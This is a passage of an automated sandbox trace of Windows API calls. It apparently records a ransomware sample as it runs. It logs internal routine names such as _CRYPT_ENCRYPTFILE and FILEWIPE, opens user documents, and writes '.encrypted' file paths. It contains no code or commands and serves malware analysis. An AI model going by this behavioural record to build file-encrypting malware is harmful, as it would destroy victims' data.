lpMsg=0xe8f3dfe670) returned 0 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.644] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.644] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.644] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.644] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.644] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.644] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.644] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.644] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.645] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.645] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.645] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.645] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.646] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.647] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.647] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.647] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.647] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.648] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.648] CharLowerBuffW (in: lpsz="byte[45633]", cchLength=0xb | out: lpsz="byte[45633]") returned 0xb [0024.648] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.648] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.648] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.648] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.648] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.648] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.648] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.648] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.648] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.648] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.648] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.648] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.649] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.649] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.649] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.649] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.649] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.649] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.650] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.650] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.650] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.651] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.651] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.651] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.651] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.651] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.651] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.651] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.651] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.651] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.651] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=3868) returned 1 [0024.651] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.651] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.651] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.651] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xf1c, lpOverlapped=0x0) returned 1 [0024.652] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.652] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xf1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.652] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=3868) returned 1 [0024.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.encrypted.ods\r\n", cchWideChar=75, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 75 [0024.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.encrypted.ods\r\n", cchWideChar=75, lpMultiByteStr=0xe8f406a190, cbMultiByte=75, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.encrypted.ods\r\n", lpUsedDefaultChar=0x0) returned 75 [0024.652] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4069650*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069650*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4a, lpOverlapped=0x0) returned 1 [0024.652] CloseHandle (hObject=0x188) returned 1 [0024.654] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.654] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.654] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.654] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.654] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.654] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.655] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.655] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.656] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178a20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.656] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.656] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.rtf", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0024.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.rtf", cchWideChar=54, lpMultiByteStr=0xe8f404c350, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.rtf", lpUsedDefaultChar=0x0) returned 54 [0024.657] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.rtf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\fpffavx.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=54, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0024.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=54, lpWideCharStr=0xe8f4066ef0, cchWideChar=54 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.rtf") returned 54 [0024.658] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.659] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.659] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.659] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.659] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178800, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.659] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.659] CloseHandle (hObject=0x188) returned 1 [0024.660] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.660] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.660] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.660] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.660] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.660] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.660] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.660] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.660] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.660] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.660] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.660] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.660] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.660] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.661] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.661] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.661] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.661] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.662] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.662] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.662] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 